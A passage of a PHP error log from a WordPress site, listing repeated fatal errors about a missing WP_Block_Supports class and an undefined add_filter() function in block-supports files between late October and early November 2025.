  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 20:54:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 20:55:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 20:56:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 20:58:07 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 20:59:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[28-Oct-2025 21:02:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[28-Oct-2025 21:07:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[29-Oct-2025 22:53:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[29-Oct-2025 22:53:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[29-Oct-2025 22:54:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[29-Oct-2025 22:54:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[29-Oct-2025 22:54:18 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[29-Oct-2025 22:54:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[29-Oct-2025 22:54:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[29-Oct-2025 22:54:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[29-Oct-2025 22:55:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[29-Oct-2025 22:55:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[29-Oct-2025 22:55:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[29-Oct-2025 22:56:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[29-Oct-2025 22:56:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[29-Oct-2025 22:56:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[29-Oct-2025 22:56:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[30-Oct-2025 01:17:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[30-Oct-2025 01:18:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[31-Oct-2025 11:19:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[31-Oct-2025 11:39:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[31-Oct-2025 12:29:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[31-Oct-2025 13:58:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[31-Oct-2025 15:23:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[31-Oct-2025 15:46:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[31-Oct-2025 17:59:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[31-Oct-2025 18:04:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[31-Oct-2025 18:08:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[31-Oct-2025 19:24:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[31-Oct-2025 19:56:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[31-Oct-2025 21:03:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[31-Oct-2025 21:13:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[31-Oct-2025 22:56:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[31-Oct-2025 23:00:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[31-Oct-2025 23:27:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[01-Nov-2025 02:13:42 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[01-Nov-2025 05:11:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[01-Nov-2025 05:11:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[01-Nov-2025 05:12:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[01-Nov-2025 05:21:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[01-Nov-2025 05:28:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[01-Nov-2025 05:29:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[01-Nov-2025 05:29:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[01-Nov-2025 05:38:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[01-Nov-2025 05:39:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[01-Nov-2025 05:39:18 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[01-Nov-2025 05:43:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[01-Nov-2025 05:51:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[01-Nov-2025 05:51:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[01-Nov-2025 05:52:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[01-Nov-2025 05:53:43 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[01-Nov-2025 06:04:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[01-Nov-2025 06:08:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[01-Nov-2025 19:25:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[01-Nov-2025 19:27:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[01-Nov-2025 19:29:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[01-Nov-2025 19:30:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[01-Nov-2025 19:33:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[01-Nov-2025 19:34:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[01-Nov-2025 19:39:06 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[01-Nov-2025 19:40:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[01-Nov-2025 19:41:07 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[01-Nov-2025 19:42:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[01-Nov-2025 19:45:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[01-Nov-2025 19:49:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[01-Nov-2025 19:53:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[01-Nov-2025 19:53:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[01-Nov-2025 19:54:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[01-Nov-2025 19:55:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[01-Nov-2025 19:58:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[02-Nov-2025 11:23:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[02-Nov-2025 11:28:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[02-Nov-2025 11:30:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[02-Nov-2025 11:31:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[02-Nov-2025 11:33:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[02-Nov-2025 11:34:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[02-Nov-2025 11:35:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[02-Nov-2025 11:36:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[02-Nov-2025 11:37:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[02-Nov-2025 11:38:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[02-Nov-2025 11:39:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[02-Nov-2025 11:40:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
